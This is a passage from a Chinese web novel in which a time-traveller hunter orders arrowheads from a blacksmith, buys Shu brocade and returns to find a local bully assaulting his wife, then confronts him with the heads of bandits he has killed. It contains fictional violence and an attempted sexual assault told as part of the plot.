一夜之间仿佛老了十岁,晃晃悠悠,连站都站不站稳。
脸上全无昨晚的自信骄傲。
唉…
薛猛心中暗叹,看来,哪怕是“铁臂神”,想要在这个时代打造出现代箭头,也不是那么容易的。
多半,是失败了吧!
第15章 狠狠吃他一顿
“什么破烂玩意儿,老子从来没见过这么难打的箭头!”
“师父,这活儿咱别接了!你把身子累坏了,不值当!”
徒弟罗飞搀扶着老白头,嘴里虽是骂骂咧咧,但满眼都是对师父的心疼。
“你小子懂个屁!狼牙箭要是破烂玩意儿,那我以前打的所有东西,连破玩意儿都算不上!”
老白头一巴掌扇在罗飞脑门上,罗飞委屈巴巴低下头,五大三粗的壮汉,在师父面前愣是不敢吭声。
“哟,小哥你醒了。”
注意到薛猛的目光,老白头转头看了过来,前一刻还凶巴巴的臭脸上,顿时挤出一抹带着歉意的笑容。
“嘿嘿,小哥,昨晚是我托大了,你那东西难度不是一般的大,我们试了好几种方法都失败了。”
“不过功夫不负有心人,就在刚才,我们已经有了突破性进展!”
“但距离完工,还得等几天!”
“这样吧,你们先回去,回头我让罗飞给你们把箭头送去!”
看着自己师父一大把年纪,对薛猛陪着笑脸,罗飞眼珠子都快瞪出来了。
他想不通,一向刚正不阿的师父,凭什么对这个小年轻这么恭敬?
哪怕是县官老爷来了,都没见师父脸上有过这么多笑脸!
“哦?真能打好?!”
薛猛闻言,颇觉惊喜。
在这个科技落后的时代,薛猛原本就不指望,狼牙箭真能在短时间内被打造出来。
这次过来,也是抱着试试的态度。
没想到,仅仅一夜功夫,老白头就取得了突破性进展。
看来徐伯没有吹嘘!
铁臂神就是铁臂神!
真不是一般匠人能比的!
“那真是太好了,白师傅,我先交一部分定金给你吧。”
薛猛伸手就要掏钱,老白头却连忙摆手:“用不着用不着!你是老徐的女婿,也就相当于是我的干女婿,咱一家人谈定金就生分了!等打好了再说吧。”
“倒是老朽,要感谢你让我这把老骨头,有生之年能够见识到如此设计精巧的兵器。”
“若是能够亲手打造出这狼牙箭,老朽死也无憾了!”
老白头满脸感慨,眼中仿佛只有对兵器的渴望,纯粹而不带一丝功利。
他记得,自己上一次通宵锻打兵器,还是二十年前,在白虎军匠造营里!
那时候的他,胸怀壮志,一心报效国家,为了让将士们能够奋勇杀敌,锻造起兵器来经常废寝忘食,不知疲倦。
但随着白虎军被解散,他心中那团火,也随之冷却。
而今日,薛猛的狼牙箭,却让他重新点燃了当年的热血!
在白虎军匠造营当总管那些年,他什么兵器没见识过?
兵器好不好,他一看图纸就能断个七八。
薛猛这狼牙箭,设计之巧妙,令人叹为观止,超越了大虞现有的所有箭头。
若是当年这种箭头出现在战场上,何惧那北莽铁骑?
“白师傅,亲兄弟尚且明算账,这二两银子你拿着,我总不能让你做亏本买卖吧。”
薛猛是真有些过意不去了,打造狼牙箭头,需要多次试验和锻打,损耗极大,光是材料钱起码都要二两银子。
“行啦,把银子收回去吧,老白头欠我的多了去了,这点银子算什么。”
徐守业打了个哈欠,从床上坐了起来。
习惯性和徐守业互呛的老白头,这次却罕见地没有反驳,而是拍了拍薛猛肩膀,笑道:“对,权当我欠牛鼻子的!以后你也别叫我白师傅了,叫我白叔就行。”
“好嘞,白叔!”
老白头和徐守业是过命的交情,又愿意和自己交好,薛猛也不再矫情,当即笑着应承。
自己今后若想制造更多跨时代的武器,必然少不了这种大匠之才的辅助…
虽说老白头不肯收钱,但自己作为晚辈,不能失了礼数。
人家有情,自己岂能无义?
正好早市上传来摊贩叫卖声,薛猛脑中灵光一闪,对老白头说道:“白叔,大家昨晚辛苦了一夜,我请大伙儿吃顿饭喝喝早酒总可以吧?”
“喝早酒?好,这个好!正好我饿坏了!”
老白头还没说话,罗飞却先乐了。
他实在想不通,师父昨晚那么卖力帮这个小白脸锻造兵器,人都快累倒了,为啥还不肯收钱!
心里本就憋着一股气,现在这小子主动提出请客吃饭,那我可要狠狠宰他一顿,专挑贵的吃!
“瞧你那饭桶的样儿!一听吃你比谁都高兴!”
老白头白了罗飞一眼,刚想婉拒薛猛好意,却听徐守业说道:“老白头,我女婿这主意挺好!”
“咱老哥俩也是好多年都没在一块喝酒了,正好聚聚!”
“走吧,咱去常三茶馆搓一顿去!”
一听这话,老白头顿时没有理由再拒绝了。
“那行,咱俩好好喝一个!”
见师父同意,罗飞偷瞄薛猛一眼,心中暗戳戳的打起小算盘。
“哼,看我怎么宰你小子!”
一行人离开铁匠铺子,径直来到常三茶馆。
常三茶馆并不卖饭,只卖茶。
要吃什么,可以让茶馆伙计帮忙跑腿去买,给添几文跑腿费就成。
之所以选择在常三茶馆吃饭,醉翁之意,不在吃饭,而在喝酒。
茶馆掌柜私酿的玉壶春,比别家酒店的酒,更有滋味,深受酒中老饕的喜爱。
虽然时辰尚早,但茶馆里已经零星坐了几桌客人。
奇的是,这些人来茶馆,都不是喝茶的,全是来喝早酒了。
“几位客观也是来喝早酒的吧?可要小的代买几样下酒菜?”
薛猛一行人挑了个靠窗的位子刚落座,茶馆伙计立马就上前询问。
罗飞等的就是这一刻,当即一拍桌子,囔囔起来:“要要要!先来十碗冷陶,多淋肉汁!”
“再来二十个饼餤,全要荤馅的!”
“还有一个瓦罐酸笋烧田鸡,一例川椒蒸鲇鱼,一壶地道玉壶春,再来一个……”
“够了够了!点这么多,你吃得完吗?”
老白头听不下去了,当即出声打断,迫于师父威严,罗飞只能闭上嘴,悻悻然坐下。
“谁说吃不完,再多我都吃得下。”
听见罗飞几不可闻的嘀咕声,薛猛抬了抬眼皮,其实他早就察觉罗飞对他有意见了。
锻造兵器本就是力气活,尤其是狼牙箭头这么高难度的东西,对于任何匠人来说,都是一桩不小的挑战。
老白头卖了力气,却又不肯收薛猛的钱,罗飞这个做徒弟的,心里有怨言也正常。
薛猛不在乎他点多少吃食,只要他吃得下!
自己身上现在可是有一百七十四两银子,还能被他吃穷不成?
“就按他说的,全上吧!”薛猛豪气道。
“好嘞,小的给爷算算账,十碗淋肉汁的槐叶冷陶,三十文。”
“二十个荤馅饼餤,三十文。”
“一份瓦罐酸笋烧田鸡,四十文。”
“一例川椒蒸鲇鱼,二十文。”
“一壶地道玉壶春,一百文。”
“再加上跑腿费,五文。”
“客观,一共二百二十五文,你们哪位爷结账?”
茶馆伙计算完账,心中暗暗吃惊。
寻常客人喝早酒,玉壶春都是几角几角的打,没人会要一整壶。
再加上几个小凉菜,最多花个五十文就顶天了。
这帮人倒好,一顿饭吃去二百二十五文,若是换成粮米,够寻常三口之家吃上两三个月了。
真够饭桶的!
而且,看他们的穿着打扮,也不像什么有钱人家,真能付得起钱吗?
第16章 老鸨子狗眼看人低
薛猛看出茶馆伙计眼中的怀疑,当即取出一两银子,在手里掂了掂。
“钱,你不用担心。”
见了银子,茶馆伙计脸上顿时有了笑容,连忙双手接过,恭敬地点头哈腰道:“好嘞!爷您等着。我给您找钱去。”
银子到位,服务态度瞬间拉满。
不多时,酒菜陆续上桌。
看着满满一桌丰盛酒菜,老白头的那几个徒弟,眼都看直了。
显然平时也是吃不上这么好的席面。
罗飞狂咽几口唾沫,以前只看着那些富户公子吃香喝辣,可把他馋坏了。
肚子里攒了一堆菜名儿,就是从来没亲口尝过。
今天可算逮着个冤大头,就当是过年了!
“师父,这是田鸡屁股,大补哇,给你吃!”
罗飞先给师父老白头夹了一筷子肉,然后端起碗来,就开始风卷残云一顿狂炫。
老白头其他几个徒弟,也不遑多让,几双筷子在菜碟里打架,平时好得穿一条裤子的师兄弟,差点为了一块肉吃急眼了。
“哎!家门不幸,收了这几个饭桶当徒弟。”
老白头满脸无奈,摇头一叹。
嘴上虽是这么说,但薛猛看得出来,老白头师徒之间感情还是很好的。
徐守业举起酒杯,笑呵呵道:“老白头,咱也走一个。”
薛猛穿越过来后,也是头一回吃上这么多菜,每样东西都尝了尝。
槐叶冷陶,其实就是现在的凉面,只不过是用槐叶汁揉的面。
面条下锅煮熟后,用熟油、姜蒜、花椒一拌,清爽解暑。
据说杜甫他老人家,也好这口,还写诗赞美这冷陶“经齿冷于雪”。
饼餤则是包馅儿的蒸饼,有甜有咸,有荤有素。
至于那两道荤菜,田鸡和那什么鲇鱼,薛猛连味儿都没尝到,就被罗飞几个饿死鬼投胎的全包圆儿了。
徐守业和老白头很少吃菜,唯独对那壶玉壶春,爱不释手,喝得不亦乐乎。
在徐守业的强烈推荐下,薛猛浅尝了一口,只觉乏善可陈。
大虞的酿酒技术,十分原始落后。
寻常浑浊米酒,一壶就要卖三十文。
而这玉壶春,不过是比寻常米酒清澈一些,度数高一些,一壶就要卖上百文。
那自己若是把高度白酒整出来,还不得卖上千文?
这个念头刚刚升起,就在薛猛心头扎下了根。
这顿饭还真没白吃,吃出了一个潜在的商机!
等回头手里原始资金足够了,薛猛打算盘个酒坊,把高度白酒整出来,还不吊打这什么玉壶春?
有了这个想法,薛猛的心思也就不在酒桌上了。
只想着赶快回去打猎。
一头马鹿就值一百多两!
卧虎山里还有野猪、梅花鹿、黑熊、林麝,说不定还有豹子老虎!
这些猎物,在薛猛眼中,那就是行走的金矿!
但要把这些“金矿”变现,没有趁手的家伙什可不行。
雁翎箭羽,有了!
狼牙箭头,稳了!
现在就差弓了!
先前的桑木反曲弓,和大虞大多数的弓一样,属于单体硬木弓。
虽然制作简单,但无论是拉力还是射程,都已经无法满足薛猛的需求。
要发挥出狼牙雁翎箭的真正威力,非得配强弓不可!
薛猛最想要的是铁胎弓!
铁胎弓硬似虬龙,狼牙箭发如飞电。
有了这两样东西,基本可以在洪雅县横着走了!
但,铁胎弓制作成本高昂。
弓胎由钢铁锻成,需要反复锻打、淬火。
在这个锻打完全靠人力的时代,制作一张铁胎弓,没三五个月功夫下不来。
并且以大虞的冶炼水平,根本没有符合标准的钢铁,首先材料就是个大问题。
退一万步讲,就算真的制造出铁胎弓,以这具身体目前的状况,薛猛估计自己也拉不开那玩意儿。
既然铁胎弓暂时无法触及,只能退而求其次,制作一个竹胎复合弓,勉强也能发挥狼牙箭的威力!
正好自己有鹿筋,可以制作复合弓弓弦!
吃罢早酒,徐守业说要去书馆找当年的学生叙叙旧,让薛猛赶着骡车先走一步。
临分手前,老白头和薛猛约定,等狼牙箭打好了,让罗飞亲自送到薛猛家里。
离开常三茶馆,薛猛牵着老驴,穿街过巷,先去西市买了些制作竹胎复合弓的工具和材料,花了不到三两银子。
又到西市口粮米店,买了八十斤大米,花了四百文。
据说在大虞鼎盛时期,四百文最多可以买上千斤米。
但这几年蜀郡洪涝频繁,庄稼颗粒无收,大米都是从别的州郡运来的。
蜀郡地势险峻,运送粮米本就不易,路上还有盗匪劫道,运粮风险极高,因此米价暴涨。
“大米买了,制造竹胎复合弓的材料买了,再买点什么?”
好不容易进趟城,薛猛打算把该买的东西都买齐全。
“对了,给我家娘子买些衣料胭脂水粉什么的!”
林雅娴虽然天生丽质,但身上穿的衣服,材质实在太差了。
就连肚兜,都是亚麻的,质感粗糙,摸起来硬硬的,手感一点都不好!
现在既然有钱了,当然要好好打扮一下自家的女人。
从里到外,都得好好打扮打扮。
把婆娘打扮漂亮了,受用的还不是自己。
“驾!”
薛猛赶着骡车,来到一家布行门前。
来往的客人衣着光鲜,就连身边跟随的仆从,身上都穿着棉布衣服。
反观自己,身上穿着粗葛布做成的夏袍,这还是当年前身父母尚在的时候,给他留下的。
做这套衣服的时候,他才十六岁,如今已经快二十了,人长高了,衣服明显短了一截,补丁也是一摞叠一摞。
加上昨晚在山里追马鹿,衣服被树枝挂得破破烂烂,跟个乞丐一样!
别说别人瞧不起他,薛猛自己都觉得自己这身儿看不过眼。
薛猛抬起步子,刚要迈进布行门槛,却被门里走出来的一个身穿黄色襦裙的女子叫住。
“喂,你干什么?我们这儿中午才开始施粥,你来早了!”
“施粥?”
薛猛闻言一愣。
黄裙女子上下打量了薛猛一番,见薛猛骨瘦如柴,穿得破破烂烂,反问道:“你不是从灾区来的难民吗?”
“喏,看你也怪可怜,拿去买些吃的吧。”
薛猛张了张嘴,刚想解释,自己不是难民,却见黄裙女子递过来几枚铜钱。
“你人还怪好嘞!但我真不是……”
“难民”二字还没出口,薛猛的话再次被对方打断:“好啦,快走吧!别挡在我门口,耽误我做生意!”
说完,黄裙女子将铜钱塞进薛猛手里,转身回店招呼客人,不再搭理他。
“韩掌柜,你帮我挑些好的绢布,我要给我们翠香楼新来的几个小清倌,做几件漂亮衣裳!”
“好,这就来!”
看着手心的几枚铜钱,薛猛无奈苦笑,这叫啥事儿?被人当难民打发了?
迈步走进布行,薛猛自顾自地打量起店里的布匹。
这家布行,店面虽然不大,但里面的布匹却全都是肉眼可见的好货,也难怪客人这么多。
绢布、夏布、丝绸,各种高端布料应有尽有,甚至还有大名鼎鼎的蜀锦。
在大虞,蜀锦只有皇室和达官贵人才享用得起。
这蜀锦真漂亮,要是穿上嫂子身上,该多美呀?
薛猛下意识想要伸手摸一摸那匹蜀锦上精美繁复的花纹,却被注意到他的黄裙女子再次叫住。
“诶!我不是让你拿了钱就走吗?谁让你进来的!”
黄裙女子气冲冲的走了过来。
一双杏眼,瞪着薛猛,贝齿咬得咯咯响。
憋了半天,只憋出一句:“你再这样,我真的要生气了,我生起气来,后果很严重的哦。”
“你不是已经在生气了吗?”
薛猛一句话,把黄裙女子整破防了。
“韩掌柜,你何必跟这些难民多费口舌!这些贱民,一个个脑子都有病,根本听不懂人话。”
“你越是可怜它们,他们就越是得寸进尺!”
“对待它们这种泥腿子庄稼汉,不需要讲道理,直接叫人把它丢出去就行了!”
听到这番话,薛猛虎目一瞪,心说谁踏马一大早不刷牙,口气这么大?
循声看去,只见说话之人,赫然就是刚才要给妓女挑绢布做衣裳的那个老鸨子。
尽管对方穿得人模狗样,手上还带着银镯子,但那股子青楼中人特有的风尘气,还是让人能一眼看出她的底色…
金玉其表,败絮其中!
只怕下面早就烂了。
“难民就不是人吗?”
薛猛心中这句话,还没出口,却率先从黄裙女子口中说了出来。
第17章 五匹蜀锦
“李班主,我记得你当年刚到洪雅县,也是身无分文吧……”
“如今你靠着偏门生意发了家,这么快就忘了本?”
“须知世事无常,谁还没有个落难的时候。”
“你身上穿的每一寸绫罗,不也是从农民地里长出来的吗?”
“若是没有农民种桑养蚕,你恐怕只能像接客时那样,光着身子满大街走吧。”
黄裙女子一番话,直接把老鸨子的底都给揭了。
周围其他客人纷纷朝这边看了过来。
老鸨子脸上一阵青,一阵白,急道:“韩掌柜,你……你不想做我们翠香楼的生意了?”
“你这种人的生意,不做也罢。”
黄裙女子一指大门,口中轻喝:“现在,请你出去,今后我韩洁莹,不会再做你们翠香楼的任何生意!”
老鸨子闻言气急败坏,当场就要撒泼,却被身边跟着的大茶壶连忙拉住。
大茶壶凑近老鸨子耳边,低声提醒道:“掌班的,这可是韩家的铺子,咱得罪不起。”
韩家?
老鸨子闻言一怔,一想到韩家在洪雅县的势力,顿时就哑了火。
若是得罪了韩家,那可就不是做不做生意那么简单了。
韩家家主一句话,就可以让她辛苦经营半辈子的翠香楼瞬间土崩瓦解。
而这布行掌柜,坊间传闻正是韩家家主的养女。
“瞧我这张嘴,没个把门的!韩掌柜,先前算我多嘴,您大人大量,别往心里去。”
先前还趾高气扬目中无人的老鸨子,当众掌了自己的嘴,对韩洁莹再三陪笑。
卑微谄媚之意,令人作呕。
韩洁莹抱着胳膊,看向薛猛:“你要赔礼,也应该是给他赔礼。”
老鸨子闻言一怔,满脸不情愿。
但迫于韩洁莹的身份背景,老鸨子最终还是一咬牙一跺脚,向薛猛低头赔了个礼,随后带着大茶壶,夹着尾巴离开了布行。
“好哇!”
周围顾客见状,纷纷鼓掌叫好。
“不愧是韩掌柜,果然仗义!”
“翠香楼姑娘多,每年都要置办不少新衣裳,放在别的布行也算是大主顾了,韩掌柜竟为了一个不相识的难民,舍弃这笔生意,真是仗义疏财!”
“韩家家大业大,人家根本不缺这点钱!连县衙里那些官老爷身上穿的料子,都是出自韩家布行,区区翠香楼算个屁!”
“……”
通过店里顾客的议论,薛猛对韩洁莹也有了几分了解。
就冲她刚才为难民仗义执言,就可以看出这人心眼不坏。
在这个等级森严,人吃人的世道,这样心怀仁义的富人倒是不见多了。
薛猛心中,顿时对她有了几分赞赏。
“喂,刚才那老鸨子的话,你别往心里去,堂堂七尺男儿,就算落难了,也一定要好好活下去!”
见薛猛看着自己,韩洁莹眉头轻皱,还以为薛猛是被老鸨子那些话打击到了,连忙开口安慰,作势又要掏钱。
薛猛连忙笑着解释道:“韩小姐,你误会了,我不是难民,我是本县卧虎村的村民,想买些布匹,给我家娘子做身衣服。”
说着,薛猛直接从兜里,掏出十两白花花的银子,摆在了柜台上。
“啊?”
韩洁莹杏眸一怔,随即尴尬地挠了挠头:“不好意思,是我看走眼了。”
“无妨无妨。”
薛猛也清楚,自己身上穿的衣服,实在是太破了,看上去确实和难民没什么区别。
对方看走眼倒也正常。
“那你看看,你需要什么料子?”韩洁莹问道。
薛猛一指店里最漂亮的蜀锦:“我要蜀锦,要五匹!”
“五匹?!”
“你真是卧虎村的村民?”
韩洁莹对薛猛的身份产生了深深的怀疑,她还是头一回见农民来买蜀锦的,而且一买就是五匹。
别说农民了,就是城里不少贩夫走卒,身上穿的也是粗麻粗葛布。
哪怕是一般的商户,顶多也就穿些缎衣或者绢袍。
能穿蜀锦的,非富即贵!
倒不是韩洁莹瞧不起农民,正因为她曾经落过难,接触过不少农民,深知农民攒钱有多不容易。
五匹蜀锦价值十五两白银,能买三千斤大米!
都够寻常农户吃上两三年了!
她担心,薛猛这是在乱花钱。
店里其他客人也都愣了愣。
没想到这穿得像难民的小伙子,居然这么阔绰?
一开口就是五匹蜀锦!
先前那老鸨子来给妓院姑娘买衣服,十几个人的衣料钱都未必比不上薛猛一匹蜀锦!
买到满意的布料,薛猛心满意足,临走前,对韩洁莹称赞道:“你这儿的蜀锦摸起来是真不错,下回我还来!”
五匹布,只能说是暂时够用。
以后生了孩子,还得做小孩儿的衣服,被套枕套也全要换新的!
“好,我等着你来照顾我生意。”
韩洁莹本以为薛猛只是在说客套话,笑着应承了一句。
此时的她,无论如何也想不到…
今日她与薛猛结下的善缘,日后将会给韩家带来泼天的富贵!
薛猛回到卧虎村时,正赶上中午,烈日当空,大地仿佛快要被烤焦。
八十斤大米,五匹蜀锦,外加一些盐、糖、胭脂水粉和杂七杂八的日用品小玩意儿,拉了满满一车。
“我得快些走!昨晚一夜未归,嫂子一个人在家,肯定想死我了!”
“算算日子,今天正好是第三天了,也该和李贺那厮算总账了!”
薛猛心里担忧李贺那帮混蛋乱来,赶着骡车,全速往家里赶。
……
“姓薛的,三日期限已到!你欠我五十两银子,也该还了!这次你要是再敢赖账,本公子可不会轻饶你!”
李贺撸起袖子,狠狠踹向薛家的院门。
上次被薛猛暴打一顿,李贺回家后马上写信给宋大龙飞鸽传书,让他赶快回来给自己报仇。
方才他收到宋大龙回信,人已经快到卧虎村了,还带回几个黑风岭的弟兄!
黑风岭全是刀口舔血的虎狼之辈。
有了宋大龙充当爪牙,李贺再也不怕薛猛了!
上次敢打老子,这次看我怎么收拾你!
李贺大手一挥,命令手下两名家丁继续砸门。
“李公子,你们别再喊了!我家相公去城里卖货了,等他回来,就能还你钱!”
院门后,林雅娴瑟瑟发抖,鼓起勇气回应道。
“卖货?卖什么货能赚五十两?”
“他就是去卖沟子也赚不来这么多钱!”
“少踏马找借口,今天这债你们无论如何也还不上!左右,把门给我劈开!老子今天要一雪前耻!”
“姓薛的,你敢打我!老子今天就把你女人肚子搞大,让你悔恨终身!”
砰砰砰!
两名家丁抽出腰间斧头,对准薛家大门就是一顿猛劈。
见斧头将自家院门劈开一道缝隙,林雅娴吓得花容失色,连忙扭身寻找藏身之处。
轰!
半扇院门被劈倒在地,激起一片沙尘。
李贺哈哈大笑!
踩着薛家门板,大摇大摆踏进了薛家门槛。
第18章 薛猛把他们全砍了
“小寡妇,老子听说你跟薛猛做了夫妻!”
“你还真是够水性杨花的!”
“我早就说过,你就是个欠男人收拾的浪蹄子!”
“与其跟着薛猛那个废物,不如陪我玩玩儿!不过这次本公子可不会让你做外室了,老子要让你做美人纸!”
“上!给我抓住她,等本公子玩完,你们也能喝口汤!”
闻言,两个家丁眼冒邪光,满脸狰狞,朝着林雅娴扑了过去。
林雅娴四处逃窜,连忙跑进了卧房,用桌子抵住了房门。
砰!
家丁踹开窗户,跳进了卧房。
林雅娴被逼到了墙角,无路可退,脸上写满了绝望。
“公子,抓住了!”
家丁搬开挡住房门的桌子,打开房门。
李贺背着手,挺着个大胃袋,悠闲地走了进来。
“嘿嘿,小寡妇,你还挺能跑?跑啊,怎么不跑了!”
李贺满脸邪荡笑容,用手中折扇,撩起林雅娴鬓角秀发,色眯眯地打量着林雅娴俏美如玉的脸蛋儿。
“啧啧啧,百看不厌,白虎乡这么多大姑娘小媳妇儿,我李贺也算是玩了不少!”
“就数你林雅娴最俊,让本公子想的那是神魂颠倒,夜不能寐呀!”
“哟哟哟,瞧这小手,瞧这小嘴,瞧这小腰,还有这……嘿嘿,这腚可不小哇!”
李贺褪下外衣,两名家丁立即上前接过。
搓着手,一步步朝着林雅娴逼近。
“美人儿,我终于得到你了!!”
“来吧!哈哈哈!”
李贺扭动肥猪一样的身躯,朝着林雅娴扑了上去。
“畜牲,我跟你拼了!”
林雅娴强忍心中恶心,手摸到枕头下面,抓起一把剪刀,朝着李贺脸上划去。
“啊!你这泼妇!”
李贺脸上被划出一条血印,当即恼羞成怒。
旁边家丁眼疾手快,用木棍打掉林雅娴手里的剪刀,随后上前将林雅娴摁住。
“打死她!”
“给我打死她!”
李贺捂着脸上的血印子,恶狠狠咬着牙,眼里喷着火。
“打死我吧,就是打死我,我也绝不让你碰!”
“就你裤裆里那点小玩意儿,给我家长根儿提鞋都不配!”
林雅娴一心求死,故意激怒李贺。
她现在只想着,李贺快点把她杀了!
她宁死,也绝不受这畜牲的凌辱!
“啊啊啊!你……你!啊啊!你居然敢这么说我!”
李贺气得暴跳如雷。
捡起地上的剪刀,就要朝林雅娴眼窝扎下去。
“李贺!你好大的胆子,光天化日之下,竟敢强闯民宅,欺辱良家妇女不成,还要杀人行凶!”
就在林雅娴闭上双眼,准备引颈受戮之际,十几个村民拿着锄头棍棒冲进了薛家院子。
林雅娴循声扭头看去,面色一喜。
裴红玉,张家婶子,村长的大女婿、二女婿、三女婿。
一张张熟悉的面孔,让林雅娴有了些许安全感。
当着这么多人,李贺自然不敢杀人,撇下手中剪刀,冷哼道:“你们这些刁民,想干什么?难不成想对本公子动手?”
“三天前,薛猛那厮亲口说今日要还我五十两银子,还不起,这院子就归我了!”
“还有这小寡妇,也已经是我李家的奴仆!”
“我在我自己家里,教训我自家的奴仆,用得着你们管?”
“我看你们才是强闯民宅!赶紧从我家滚出去,否则,等我义兄宋大龙回来,本公子让他挨家挨户给你们上眼药!”
宋大龙回来了?!
一听宋大龙的名字,村民们顿时脸色大变。
宋大龙,考过武举,当过兵,坐过牢,跟黑风岭的土匪称兄道弟。
那可是白虎乡出了名的野霸王,没人敢惹。
“呵呵,知道怕了?我义兄这次去给黑风岭大王贺寿去了,听说你们这些刁民,不服管教,特地从黑风岭带回几个高手,要好好敲打敲打你们!”
李贺咬牙狞笑。
黑风岭高手?
那不就是土匪吗?
宋大龙居然把土匪引过来了!
这以后卧虎村还能有安宁日子?
“赶紧滚吧!再不滚,你们就留下给薛猛陪葬吧!”
李贺再横,也不敢当众杀人。
但,宋大龙和黑风岭的土匪,那是真敢杀人!
村民们哪里敢和土匪斗?
李贺话音刚落。
“李贺!你是指望死人帮你出头吗?那你的如意算盘可就打错了!”
一声劲喝响起,薛猛手提带血砍刀,踏进院子,随手将一个带血人头抛至李贺脚边。
这是……
看清人头的脸,李贺好像见鬼一般,嘶声大叫起来!
“大龙!!”
“宋大龙勾结黑风岭响马,想要进村劫掠,被我撞上,已被我全数斩首!”
薛猛说着,将肩上扛着的布袋随手丢在地上。
骨碌碌……
口袋里接连滚出七八个血淋淋的人头。
看到这血腥一幕,村民们全都吓傻了。
林雅娴檀口大张,美眸惊颤,就连裴红玉也是满脸惊诧,脊背发寒。
薛猛也太狠了吧!
居然一个人把土匪全砍了!
反观薛猛本人,却是淡然自若,目光平静,仿佛砍的不是人头,而是几个萝卜。
说来也巧,他和这帮土匪居然在村口撞上了。
宋大龙想对他动手,薛猛一时兴起,干脆把他们全杀了。
“你!”
“你不是人,你是魔鬼!”
李贺脸上肥肉哆嗦着,看着薛猛,吓得尿都快流出来了。
“杀这么多人,你眼里还有没有王法!”
王法?
你强闯民宅,欺负我女人的时候,怎么不问问世上还有没有王法?
身处乱世,弱肉强食!
心不狠,站不稳!
薛猛用带血的砍刀拍了拍李贺的肥脸,无情冷笑:“响马土匪已经算不得人了,它们和山里的豺狼虎豹没有区别,都是害人的东西。”
“我薛猛是个猎户,宰了这些害人的东西,也是天经地义!”
“李公子,听说你跟这些豺狼虎豹是拜把子弟兄,那你又是个什么东西?”
感受到砍刀冰冷触感在脸上滑行,李贺瞬间汗流浃背,身子抖如筛糠。
只要薛猛稍微一用力,就能要了他的小命儿!
“不不不,薛……薛家哥哥,你误会了!我不认识他们!我是人,我不是豺狼虎豹!”
“你欠我的五十两银子,我不要了!”
“求你把我当个屁放了吧!”
“你家被弄坏的门窗,我花双倍价钱,全赔给你!”
薛猛翻转刀把,狠狠朝李贺心窝子戳了进去,玩味一笑:“那可不行,欠债还钱,天经地义,这钱我还是得还呐!”
李贺裤裆一热,脸色惨白,哆嗦道:“不用了,你不欠我钱,是宋大龙那厮逼着你摁的手印,其实你根本不欠我钱!”
“我是个混蛋,都是我觊觎你嫂子的美色,才想办法给你设套!”
“是我不对……薛爷爷,您饶了我吧!”
李贺彻底崩溃,跪在地上,苦苦求饶起来。
“不能饶他!”
“杀了他!”
“不然他回去,必定和黑风岭土匪暗通款曲,若是黑风岭土匪大举来攻,我们全村都得遭殃!”
裴红玉咬牙冷声道。
“没错,裴四妹说得对!”
“长根儿,咱们一不做二不休,索性除了这祸害!”
“他往日可没少欺压我们这些农民!”
“杀了他!”
“杀了这祸害!!”
“你们还记得俺家虎子吗?”
张家婶子一指李贺,情绪激动,声音嘶哑近乎嘶吼。
“两年前,俺家虎子害了病,连床都下不来,俺这个当娘的,却连给他抓药的钱都没有!”
“我求李贺借我些钱买药,可这畜生,他竟要逼我跟他睡觉!”
“我这么大岁数,他都不放过!”
“为了孩子,我跟他睡了,他却不肯给钱,最后我家虎子活生生病死在床上!”
“我恨呐!”
张婶指着李贺,恨得咬牙切齿,一字一句仿佛带着血泪,瞬间勾起了围观村民们心中许多痛苦回忆。
不少人鼻子一酸,当场掉下了眼泪。
“你看他吃得肥头大耳那样,李庄那么有钱,不就是压榨的我们的血汗吗?”
张婶一番话,让村民们情绪越来越激动。
有人抄起了锄头。
还有的举起了镰刀。
一个个横眉瞪眼,怒焰高炽,将李贺和两个家丁团团围住。
李贺满头大汗。
一向作威作福,如今心中头一回对这些泥腿子产生了恐惧。
他感觉这些村民变了。
以前他们是任人宰割的羊羔,现在却化作了牙尖嘴利的虎狼。
随时都有可能冲上来把他活撕了!
哪怕薛猛不杀他,这些村民也饶不了他。
“干什么呢!想聚众造反不成?这么有精神,明年全给我上战场打仗去!”
就在李贺屎尿齐出,近乎绝望之际,一道充满威吓的声音从门外传来。
先前群情激愤,囔囔着要清算李贺的村民,顿时偃旗息鼓,纷纷垂下了头。
薛猛一抬眼,看清来人的脸。
当即剑眉倒竖,拳头瞬间捏紧!
第19章 讨债不成,倒欠八十两!
来人不是别的,正是李全福!
李庄庄主,同时也是白虎乡粮长,协助官府催收公粮、赋税、催婚催孕。
虽无正式品阶,但在白虎乡却犹如土皇帝。
李全福身后还跟着几名催生队差役,腰佩长刀,耀武扬威地来到薛家院中。
见了催生队,村民们全都低下了头,生怕被他们盯上。
林雅娴握住薛猛胳膊的手下意识收紧了几分,明显也紧张起来。
在大虞…
催生队!
就是催命的恶鬼,谁见了都得发怵!
“爹!!”
李贺却是犹如见到了救命稻草,脸笑得像菊花绽放。
连忙推开挡在身前的村民,争先恐后朝李全福迎了上去。
“爹,你可得给儿子做主啊,你要是来晚一步,儿子就见不得你了!”
“薛猛这厮大开杀戒,把我义兄宋大龙和他的朋友全杀了!你赶快把这些刁民,全都抓去充军!”
有了靠山,李贺顿时恢复了作威作福的嘴脸。
伸出手指,将薛猛还有裴红玉、张婶等人,挨个指了个遍。
而跟着李贺的李家家丁,连忙凑近李全福耳边,将刚才院子里发生的一切说了一遍。
李全福斜眼扫视而去,张婶等人纷纷低下头,不敢直视对方阴鸷的目光。
最终,李全福的目光聚焦在薛猛身上。
“你就是薛猛吧?”
“前几天我过寿,在我李庄门前抢潲水,被宋大龙吊起来打的,就是你吧?”
“挨那顿打,还没长记性?现在吃了豹子胆,还敢杀人行凶?”
“左右,给我将这厮拿下!择日发配充军!”
薛猛随手丢出几块腰牌。
“李大人,你这话就不对了!我杀的这些人,全是黑风岭响马,这是从他们身上搜出来的腰牌,可以证明他们的身份!宋大龙勾结响马,与贼同罪,也是该杀!”
“格杀响马,我非但无罪,还有护卫乡里之功!”
“依照大虞律法,格杀响马一人,赏银十两,这里一共八个人头,你既然替官府做事,应该给我八十两赏银!”
一名差役捡起地上的腰牌,看了看,果然看见上面刻着“黑风岭巡哨”字样。
“李大人,这些人确实是黑风岭响马!”
“这!”
李全福接过腰牌一看,双手颤抖,脸色难堪,几乎快要咬碎后槽牙。
事实摆在面前,宋大龙勾结响马,薛猛杀了他们,不仅无罪,反而有功!
自己不仅不能以此为理由,拿下薛猛,反倒还得给他八十两赏银?
这叫什么破事儿!
李全福脸色铁青。
李贺也是脸色大变,比吃了屎还难受,他完全没料想到,事情居然会这样发展。
薛猛瞥了眼李贺,挑眉道:“李大人,反倒是你儿子李贺,似乎和这些响马关系匪浅……”
